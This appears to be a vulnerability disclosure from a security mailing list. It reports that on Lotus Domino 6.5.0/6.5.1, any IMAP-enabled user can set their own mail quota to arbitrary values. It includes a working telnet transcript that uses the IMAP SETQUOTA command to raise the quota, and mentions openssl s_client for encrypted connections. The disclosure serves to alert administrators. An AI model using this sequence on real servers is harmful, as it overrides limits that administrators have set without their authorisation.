Unprevileged user can change quota on Domino

[Andreas Klein <Andreas.C.Klein () physik uni-wuerzburg de>]

Hello,

this problem has been reported to IBM Lotus customer support on
January 19,2004.

Affected versions:
Domino 6.5.0/6.5.1 (other versionns not tested by me)

Abstract:
Every user can change his quota on an imap-enabled Domino server to every 
value he likes.

Detailed description:
If your mailfile is imap-enabled and you have access to an imap-enabled 
Domino-server you can change your quota to arbitrary values.
To do this make a telnet conntection to the imap-server and use the 
setquota command to change the quota. If the server only accepts imaps 
connections you can use stunnel or openssl s_client.
Here is an example for an unencrypted session:
# telnet imap 143               
        Trying ip-address      
        Connected to imap.           
        Escape character is '^]'.

        * QUOTA "" (STORAGE 45548 10240)                                    
        3 OK GETQUOTA completed
4 setquota "" (storage 50000)
        * QUOTA "" (STORAGE 45548 50000)
        4 OK SETQUOTA completed
5 getquota
        * QUOTA "" (STORAGE 45548 50000)
        5 OK GETQUOTA completed
6 logout               

Solution:
No solution is provided by IBM by now. You can watch the proceeding by 
watching for SPR# SEGN5VEFHE. This will not be fixed in the R6 codestream. 
R7 will probably contain the fix.
